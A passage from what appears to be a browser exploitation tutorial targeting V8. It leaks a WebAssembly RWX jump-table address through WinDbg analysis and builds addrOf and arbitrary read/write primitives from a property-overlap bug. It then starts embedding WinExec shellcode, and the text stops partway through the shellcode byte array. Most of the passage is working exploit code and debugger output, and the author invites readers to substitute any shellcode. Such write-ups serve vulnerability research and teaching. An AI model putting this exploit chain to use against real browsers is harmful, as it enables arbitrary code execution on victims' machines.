<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">wasmCode</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint8Array</span><span class="p">([</span><span class="mi">0</span><span class="p">,</span><span class="mi">97</span><span class="p">,</span><span class="mi">115</span><span class="p">,</span><span class="mi">109</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">133</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">96</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">127</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">130</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">132</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">112</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">131</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span><span class="mi">129</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">7</span><span class="p">,</span><span class="mi">145</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span><span class="mi">109</span><span class="p">,</span><span class="mi">101</span><span class="p">,</span><span class="mi">109</span><span class="p">,</span><span class="mi">111</span><span class="p">,</span><span class="mi">114</span><span class="p">,</span><span class="mi">121</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">109</span><span class="p">,</span><span class="mi">97</span><span class="p">,</span><span class="mi">105</span><span class="p">,</span><span class="mi">110</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">10</span><span class="p">,</span><span class="mi">138</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">132</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">65</span><span class="p">,</span><span class="mi">42</span><span class="p">,</span><span class="mi">11</span><span class="p">]);</span>
<span class="kd">var</span> <span class="nx">wasmModule</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">WebAssembly</span><span class="p">.</span><span class="nx">Module</span><span class="p">(</span><span class="nx">wasmCode</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">wasmInstance</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">WebAssembly</span><span class="p">.</span><span class="nx">Instance</span><span class="p">(</span><span class="nx">wasmModule</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">func</span> <span class="o">=</span> <span class="nx">wasmInstance</span><span class="p">.</span><span class="nx">exports</span><span class="p">.</span><span class="nx">main</span><span class="p">;</span>
</code></pre></div></div>
<p>After executing this code in d8, we can use <code class="language-plaintext highlighter-rouge">%DebugPrint</code> against our <code class="language-plaintext highlighter-rouge">wasmInstance</code> variable, which will be the executable module object that houses our function exports. As you can see, in the last line of the wasm code we are setting the <code class="language-plaintext highlighter-rouge">func</code> variable to target the main export of that wasm instance, which will point to our executable <code class="language-plaintext highlighter-rouge">wasmCode</code>.</p>
<p>Doing so, we get the following output.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>d8> %DebugPrint(wasmInstance)
DebugPrint: 0000032B465226A9: [WasmInstanceObject] in OldSpace
- map: 0x02d1cc30ae51 <Map(HOLEY_ELEMENTS)>
- module_object: 0x0135bd78e159 <Module map = 000002D1CC30A8B1>
- exports_object: 0x0135bd78e341 <Object map = 000002D1CC30C3E1>
- native_context: 0x032b465039f9 <NativeContext[248]>
- memory_object: 0x032b465227a9 <Memory map = 000002D1CC30B851>
- imported_function_instances: 0x00bca7c82cf1 <FixedArray[0]>
- imported_function_callables: 0x00bca7c82cf1 <FixedArray[0]>
- managed_native_allocations: 0x0135bd78e2d1 <Foreign>
- memory_start: 00000273516A0000
- memory_size: 65536
- memory_mask: ffff
- imported_function_targets: 00000272D08C73D0
- globals_start: 0000000000000000
- imported_mutable_globals: 00000272D08C7410
- indirect_function_table_size: 0
- indirect_function_table_sig_ids: 0000000000000000
- indirect_function_table_targets: 0000000000000000
...
</code></pre></div></div>
<p>After analyzing the output, we can see that there is no reference to a code or jump table. However, if we look into V8’s code for <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/wasm/wasm-objects.h;l=327">WasmInstanceObject</a>, we will see that there is an accessor to a <code class="language-plaintext highlighter-rouge">jump_table_start</code> entry for our function. This entry should point to a RWX memory region where the machine code is stored.</p>
<p>In V8, there is an offset to this <code class="language-plaintext highlighter-rouge">jump_table_start</code> entry, but it changes regularly between versions of V8. Therefore, we need to manually locate where this address is stored within the <code class="language-plaintext highlighter-rouge">WasmInstanceObject</code>.</p>
<p>To assist us in finding where this address is stored within the <code class="language-plaintext highlighter-rouge">WasmInstanceObject</code>, we can use the <code class="language-plaintext highlighter-rouge">!address</code> command within WinDbg to display information about the memory used by the d8 process. Since we know that the <code class="language-plaintext highlighter-rouge">jump_table_start</code> address has RWX permissions, we can filter the address output by the <a href="https://learn.microsoft.com/en-us/windows/win32/memory/memory-protection-constants">PAGE_EXECUTE_READWRITE</a> protection constant to look for any newly created RWX memory regions.</p>
<p>Doing so results in the following output.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:004> !address -f:PAGE_EXECUTE_READWRITE
BaseAddress EndAddress+1 RegionSize Type State Protect Usage
--------------------------------------------------------------------------------------------------------------------------
55`6c400000 55`6c410000 0`00010000 MEM_PRIVATE MEM_COMMIT PAGE_EXECUTE_READWRITE <unknown> [I....lU...A....D]
</code></pre></div></div>
<p>In this case it seems that the address of <code class="language-plaintext highlighter-rouge">0x556C400000</code> will be our jump table entry for the RWX memory region. Let’s validate if our <code class="language-plaintext highlighter-rouge">WasmInstanceObject</code> does in fact store this pointer by examining the memory contents of the <code class="language-plaintext highlighter-rouge">wasmInstace</code> object address within WinDbg.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:004> dq 0000032B465226A9-1 L22
0000032b`465226a8 000002d1`cc30ae51 000000bc`a7c82cf1
0000032b`465226b8 000000bc`a7c82cf1 00000135`bd78e159
0000032b`465226c8 00000135`bd78e341 0000032b`465039f9
0000032b`465226d8 0000032b`465227a9 000000bc`a7c825a1
0000032b`465226e8 000000bc`a7c825a1 000000bc`a7c825a1
0000032b`465226f8 000000bc`a7c825a1 000000bc`a7c82cf1
0000032b`46522708 000000bc`a7c82cf1 000000bc`a7c825a1
0000032b`46522718 00000135`bd78e2d1 000000bc`a7c825a1
0000032b`46522728 000000bc`a7c825a1 000000bc`a7c822a1
0000032b`46522738 00000097`8399dba1 00000273`516a0000
0000032b`46522748 00000000`00010000 00000000`0000ffff
0000032b`46522758 00000272`d08d45f8 00000272`d08dc6c8
0000032b`46522768 00000272`d08dc6b8 00000272`d08c73d0
0000032b`46522778 00000000`00000000 00000272`d08c7410
0000032b`46522788 00000000`00000000 00000000`00000000
0000032b`46522798 00000055`6c400000 000000bc`00000000
0000032b`465227a8 000002d1`cc30b851 000000bc`a7c82cf1
</code></pre></div></div>
<p>After analyzing the output, we can see that our jump table entry pointer to the RWX memory page is indeed stored within our <code class="language-plaintext highlighter-rouge">wasmInstance</code> object at the address of <code class="language-plaintext highlighter-rouge">0x32b46522798</code>!</p>
<p>From here, we can do some simple hexadecimal math to find the offset to the RWX page from the base address of the <code class="language-plaintext highlighter-rouge">WasmInstanceObject</code> minus 1 (due to pointer tagging).</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="mh">0x798</span> <span class="err">–</span> <span class="p">(</span><span class="mh">0x6A9</span><span class="o">-</span><span class="mh">0x1</span><span class="p">)</span> <span class="o">=</span><span class="err"> </span><span class="mh">0xF0</span> <span class="p">(</span><span class="mi">240</span><span class="p">)</span>
</code></pre></div></div>
<p>With this, we know that the offset of the jump table is 240 bytes, or <code class="language-plaintext highlighter-rouge">0xF0</code>, away from the base address of the instance object.</p>
<p>With this, we can now update our exploit script by adding the WebAssembly sample code from above and then attempt to leak the RWX address of the jump table entry!</p>
<p>However, we have a slight problem. Unfortunately, we can’t use our <code class="language-plaintext highlighter-rouge">addrOf</code> primitive to leak the object address anymore. The reason for this is that the <code class="language-plaintext highlighter-rouge">addrOf</code> primitive abuses our bug by overwriting the overlapping properties. This essentially would destroy our memory read/write primitive that we set up via our array buffers, resulting in writing to wrong memory regions and potentially causing a crash.</p>
<p>In this case, we need to utilize our memory read/write primitive via our array buffers to leak an object address. Using what we already have, we can build another <code class="language-plaintext highlighter-rouge">addrOf</code> primitive via our array buffers by doing the following;</p>
<ol>
<li>Add an out-of-line property to the second array buffer.</li>
<li>Leak the address of the second array buffers property store.</li>
<li>Use the <code class="language-plaintext highlighter-rouge">read64</code> memory primitive to read the address of our object at offset 16 in the property store.</li>
</ol>
<p>Before we implement this, let’s see how this looks like in memory to confirm that it will work. Let’s start by creating a new array buffer called <code class="language-plaintext highlighter-rouge">arrBuf1</code> and then create a random object, like so.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">d8</span><span class="o">></span> <span class="kd">let</span> <span class="nx">arrBuf1</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mi">1024</span><span class="p">);</span>
<span class="nx">d8</span><span class="o">></span> <span class="kd">let</span> <span class="nx">obj</span> <span class="o">=</span> <span class="p">{</span><span class="na">x</span><span class="p">:</span><span class="mi">1</span><span class="p">}</span>
</code></pre></div></div>
<p>Next, let’s set a new out of line property for <code class="language-plaintext highlighter-rouge">arrBuf1</code> called <code class="language-plaintext highlighter-rouge">leakme</code> and set our object as it’s value.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">d8</span><span class="o">></span> <span class="nx">arrBuf1</span><span class="p">.</span><span class="nx">leakme</span> <span class="o">=</span> <span class="nx">obj</span><span class="p">;</span>
</code></pre></div></div>
<p>If we run the <code class="language-plaintext highlighter-rouge">%DebugPrint</code> command against <code class="language-plaintext highlighter-rouge">arrBuf1</code> we will see that we now have a new out-of-line property stored within the properties data store.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>d8> %DebugPrint(arrBuf1)
DebugPrint: 000003B88950D8B9: [JSArrayBuffer]
- map: 0x02fd7d78c251 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x01d6b8c90b21 <Object map = 000002FD7D7843C1>
- elements: 0x03bfa9d82cf1 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 00000181293E0780
- byte_length: 1024
- neuterable
- properties: 0x03b88950fe29 <PropertyArray[3]> {
#leakme: 0x03b88950f951 <Object map = 000002FD7D78C201> (data field 0) properties[0]
}
- embedder fields = {
0000000000000000
0000000000000000
}
</code></pre></div></div>
<p>As we can see, the address for <code class="language-plaintext highlighter-rouge">obj</code> is <code class="language-plaintext highlighter-rouge">0x03b88950f951</code> as per the property store. If we were to look into our property store for <code class="language-plaintext highlighter-rouge">arrBuf1</code> with WinDbg we can see that at offset 16 in the property store, we have the address of our object!</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:005> dq 0x03b88950fe29-1 L6
000003b8`8950fe28 000003bf`a9d83899 00000003`00000000
000003b8`8950fe38 000003b8`8950f951 000003bf`a9d825a1
000003b8`8950fe48 000003bf`a9d825a1 000002fd`7d784fa1
</code></pre></div></div>
<p>Alright, we confirmed that this works. In that case let’s go ahead and implement a new <code class="language-plaintext highlighter-rouge">addrOf</code> function for our memory read/write primitive as follows:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">let</span> <span class="nx">memory</span> <span class="o">=</span> <span class="p">{</span>
<span class="nx">addrOf</span><span class="p">(</span><span class="nx">obj</span><span class="p">)</span> <span class="p">{</span>
<span class="c1">// Set object address to new out-of-line property called leakme</span>
<span class="nx">arrBuf2</span><span class="p">.</span><span class="nx">leakMe</span> <span class="o">=</span> <span class="nx">obj</span><span class="p">;</span>
<span class="c1">// Use read64 primitive to leak the properties backing store address of our array buffer</span>
<span class="kd">let</span> <span class="nx">props</span> <span class="o">=</span> <span class="k">this</span><span class="p">.</span><span class="nx">read64</span><span class="p">(</span><span class="nx">arrBuf2Addr</span> <span class="o">+</span> <span class="mi">8</span><span class="nx">n</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="nx">n</span><span class="p">;</span>
<span class="c1">// Read offset 16 from the array buffer backing store and return the address of our object</span>
<span class="k">return</span> <span class="k">this</span><span class="p">.</span><span class="nx">read64</span><span class="p">(</span><span class="nx">props</span> <span class="o">+</span> <span class="mi">16</span><span class="nx">n</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="nx">n</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">};</span>
</code></pre></div></div>
<p>With that implemented, we can finally updated our exploit script to include the new <code class="language-plaintext highlighter-rouge">addrOf</code> primitive and our WebAssembly code. Afterwards, we can attempt to leak the address of our <code class="language-plaintext highlighter-rouge">wasmInstance</code> and the instances RWX jump table page.</p>
<p>The updated script will look like so:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Finding Overlapping Properties...</span><span class="dl">"</span><span class="p">);</span>
<span class="nx">findOverlappingProperties</span><span class="p">();</span>
<span class="nx">print</span><span class="p">(</span><span class="s2">`[+] Properties p</span><span class="p">${</span><span class="nx">p1</span><span class="p">}</span><span class="s2"> and p</span><span class="p">${</span><span class="nx">p2</span><span class="p">}</span><span class="s2"> overlap!`</span><span class="p">);</span>
<span class="c1">// Create Array Buffers</span>
<span class="kd">let</span> <span class="nx">arrBuf1</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mi">1024</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">arrBuf2</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">ArrayBuffer</span><span class="p">(</span><span class="mi">1024</span><span class="p">);</span>
<span class="c1">// Leak Address of arrBuf2</span>
<span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Leaking ArrayBuffer Address...</span><span class="dl">"</span><span class="p">);</span>
<span class="kd">let</span> <span class="nx">arrBuf2Addr</span> <span class="o">=</span> <span class="nx">addrOf</span><span class="p">(</span><span class="nx">arrBuf2</span><span class="p">);</span>
<span class="nx">print</span><span class="p">(</span><span class="s2">`[+] ArrayBuffer Address: 0x</span><span class="p">${</span><span class="nx">arrBuf2Addr</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">)}</span><span class="s2">`</span><span class="p">);</span>
<span class="c1">// Corrupt Backing Store Pointer of arrBuf1 with Address to arrBuf2</span>
<span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Corrupting ArrayBuffer Backing Store Address...</span><span class="dl">"</span><span class="p">)</span>
<span class="kd">let</span> <span class="nx">originalArrBuf1BackingStore</span> <span class="o">=</span> <span class="nx">fakeObj</span><span class="p">(</span><span class="nx">arrBuf1</span><span class="p">,</span> <span class="nx">arrBuf2Addr</span><span class="p">);</span>
<span class="c1">// Store Original Backing Store Pointer of arrBuf2</span>
<span class="kd">let</span> <span class="nx">view1</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">BigUint64Array</span><span class="p">(</span><span class="nx">arrBuf1</span><span class="p">)</span>
<span class="kd">let</span> <span class="nx">originalArrBuf2BackingStore</span> <span class="o">=</span> <span class="nx">view1</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span>
<span class="c1">// Construct our Memory Read and Write Primitive</span>
<span class="kd">let</span> <span class="nx">memory</span> <span class="o">=</span> <span class="p">{</span>
<span class="nx">read64</span><span class="p">(</span><span class="nx">addr</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">view1</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span> <span class="o">=</span> <span class="nx">addr</span><span class="p">;</span>
<span class="kd">let</span> <span class="nx">view2</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">BigUint64Array</span><span class="p">(</span><span class="nx">arrBuf2</span><span class="p">);</span>
<span class="k">return</span> <span class="nx">view2</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
<span class="p">},</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">addr</span><span class="p">,</span> <span class="nx">ptr</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">view1</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span> <span class="o">=</span> <span class="nx">addr</span><span class="p">;</span>
<span class="kd">let</span> <span class="nx">view2</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">BigUint64Array</span><span class="p">(</span><span class="nx">arrBuf2</span><span class="p">);</span>
<span class="nx">view2</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="nx">ptr</span><span class="p">;</span>
<span class="p">},</span>
<span class="nx">addrOf</span><span class="p">(</span><span class="nx">obj</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">arrBuf2</span><span class="p">.</span><span class="nx">leakMe</span> <span class="o">=</span> <span class="nx">obj</span><span class="p">;</span>
<span class="kd">let</span> <span class="nx">props</span> <span class="o">=</span> <span class="k">this</span><span class="p">.</span><span class="nx">read64</span><span class="p">(</span><span class="nx">arrBuf2Addr</span> <span class="o">+</span> <span class="mi">8</span><span class="nx">n</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="nx">n</span><span class="p">;</span>
<span class="k">return</span> <span class="k">this</span><span class="p">.</span><span class="nx">read64</span><span class="p">(</span><span class="nx">props</span> <span class="o">+</span> <span class="mi">16</span><span class="nx">n</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="nx">n</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">};</span>
<span class="nx">print</span><span class="p">(</span><span class="dl">"</span><span class="s2">[+] Constructed Memory Read and Write Primitive!</span><span class="dl">"</span><span class="p">);</span>
<span class="c1">// Generate RWX region via WASM</span>
<span class="kd">var</span> <span class="nx">wasmCode</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint8Array</span><span class="p">([</span><span class="mi">0</span><span class="p">,</span><span class="mi">97</span><span class="p">,</span><span class="mi">115</span><span class="p">,</span><span class="mi">109</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">133</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">96</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">127</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">130</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">132</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">112</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">5</span><span class="p">,</span><span class="mi">131</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span><span class="mi">129</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">7</span><span class="p">,</span><span class="mi">145</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">6</span><span class="p">,</span><span class="mi">109</span><span class="p">,</span><span class="mi">101</span><span class="p">,</span><span class="mi">109</span><span class="p">,</span><span class="mi">111</span><span class="p">,</span><span class="mi">114</span><span class="p">,</span><span class="mi">121</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">109</span><span class="p">,</span><span class="mi">97</span><span class="p">,</span><span class="mi">105</span><span class="p">,</span><span class="mi">110</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">10</span><span class="p">,</span><span class="mi">138</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">1</span><span class="p">,</span><span class="mi">132</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">128</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">65</span><span class="p">,</span><span class="mi">42</span><span class="p">,</span><span class="mi">11</span><span class="p">]);</span>
<span class="kd">var</span> <span class="nx">wasmModule</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">WebAssembly</span><span class="p">.</span><span class="nx">Module</span><span class="p">(</span><span class="nx">wasmCode</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">wasmInstance</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">WebAssembly</span><span class="p">.</span><span class="nx">Instance</span><span class="p">(</span><span class="nx">wasmModule</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">func</span> <span class="o">=</span> <span class="nx">wasmInstance</span><span class="p">.</span><span class="nx">exports</span><span class="p">.</span><span class="nx">main</span><span class="p">;</span>
<span class="c1">// Leak WasmInstance Address</span>
<span class="kd">let</span> <span class="nx">wasmInstanceAddr</span> <span class="o">=</span> <span class="nx">memory</span><span class="p">.</span><span class="nx">addrOf</span><span class="p">(</span><span class="nx">wasmInstance</span><span class="p">);</span>
<span class="nx">print</span><span class="p">(</span><span class="s2">`[+] WASM Instance Address: 0x</span><span class="p">${</span><span class="nx">wasmInstanceAddr</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">)}</span><span class="s2">`</span><span class="p">);</span>
<span class="c1">// Leak</span>
<span class="kd">let</span> <span class="nx">wasmRWXAddr</span> <span class="o">=</span> <span class="nx">memory</span><span class="p">.</span><span class="nx">read64</span><span class="p">(</span><span class="nx">wasmInstanceAddr</span> <span class="o">+</span> <span class="mh">0xF0</span><span class="nx">n</span><span class="p">);</span>
<span class="nx">print</span><span class="p">(</span><span class="s2">`[+] WASM RWX Page Address: 0x</span><span class="p">${</span><span class="nx">wasmRWXAddr</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="mi">16</span><span class="p">)}</span><span class="s2">`</span><span class="p">);</span>
</code></pre></div></div>
<p>Upon executing the updated script in d8, we will notice the following output.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[+] Finding Overlapping Properties...
[+] Properties p6 and p18 overlap!
[+] Leaking ArrayBuffer Address...
[+] ArrayBuffer Address: 0x37779c8db50
[+] Corrupting ArrayBuffer Backing Store Address...
[+] Constructed Memory Read and Write Primitive!
[+] WASM Instance Address: 0x2998447e580
[+] WASM RWX Page Address: 0x47f9400000
</code></pre></div></div>
<p>It appears that we successfully were able to leak the address to our <code class="language-plaintext highlighter-rouge">wasmInstance</code> as well as our <code class="language-plaintext highlighter-rouge">jump_table_start</code> pointer.</p>
<p>To confirm that the leaked addresses are valid, we can use WinDbg to inspect the <code class="language-plaintext highlighter-rouge">wasmInstance</code> address to validate the object structure and check if at offset 240 we have our jump table address.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0:000> dq 0x2998447e580 L22
00000299`8447e580 000002da`4608ae51 0000005a`4e802cf1
00000299`8447e590 0000005a`4e802cf1 00000191`5d8d03d1
00000299`8447e5a0 00000191`5d8d05b9 000000ea`a9d839f9
00000299`8447e5b0 00000299`8447e681 0000005a`4e8025a1
00000299`8447e5c0 0000005a`4e8025a1 0000005a`4e8025a1
00000299`8447e5d0 0000005a`4e8025a1 0000005a`4e802cf1
00000299`8447e5e0 0000005a`4e802cf1 0000005a`4e8025a1
00000299`8447e5f0 00000191`5d8d0549 0000005a`4e8025a1
00000299`8447e600 0000005a`4e8025a1 0000005a`4e8022a1
00000299`8447e610 0000009a`1229dba1 000001fd`60c00000
00000299`8447e620 00000000`00010000 00000000`0000ffff
00000299`8447e630 000001fc`dff063c8 000001fc`dff0e498
00000299`8447e640 000001fc`dff0e488 000001fc`e0a00b50
00000299`8447e650 00000000`00000000 000001fc`e0a02720
00000299`8447e660 00000000`00000000 00000000`00000000
00000299`8447e670 00000047`f9400000 0000005a`00000000
00000299`8447e680 000002da`4608b851 0000005a`4e802cf1
</code></pre></div></div>
<p>Upon inspection of the memory, we confirm that we successfully are leaking valid addresses as <code class="language-plaintext highlighter-rouge">000002998447e670</code> contains the pointer to our jump table start entry!</p>
<p>Alright, we’re nearing the final stretch! Now that we have a valid jump table address that points to a RWX memory page, all we have to do is write our shellcode to that memory region, and then trigger our WebAssembly function to execute the code!</p>
<p>For this blog post, I will be using a <a href="https://www.exploit-db.com/shellcodes/49819">Null-Free WinExec PopCalc</a> shellcode that will simply execute the calculator app upon successful execution. Of course, it’s up to the reader to implement whatever shellcode they want for their own script!</p>
<p>Since our original WebAssembly code is using a <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Uint8Array">Uint8Array</a>, we’ll have to make sure that we wrap our shellcode in the same typed array representation. An example of how our pop calc shellcode will look like in our script can be seen below.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Prepare Calc Shellcode</span>
<span class="kd">let</span> <span class="nx">shellcode</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Uint8Array</span><span class="p">([</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xf7</span><span class="p">,</span><span class="mh">0xe7</span><span class="p">,</span><span class="mh">0x65</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x58</span><span class="p">,</span><span class="mh">0x60</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x5b</span><span class="p">,</span><span class="mh">0x18</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x5b</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x5b</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0x89</span><span class="p">,</span><span class="mh">0xd8</span><span class="p">,</span><span 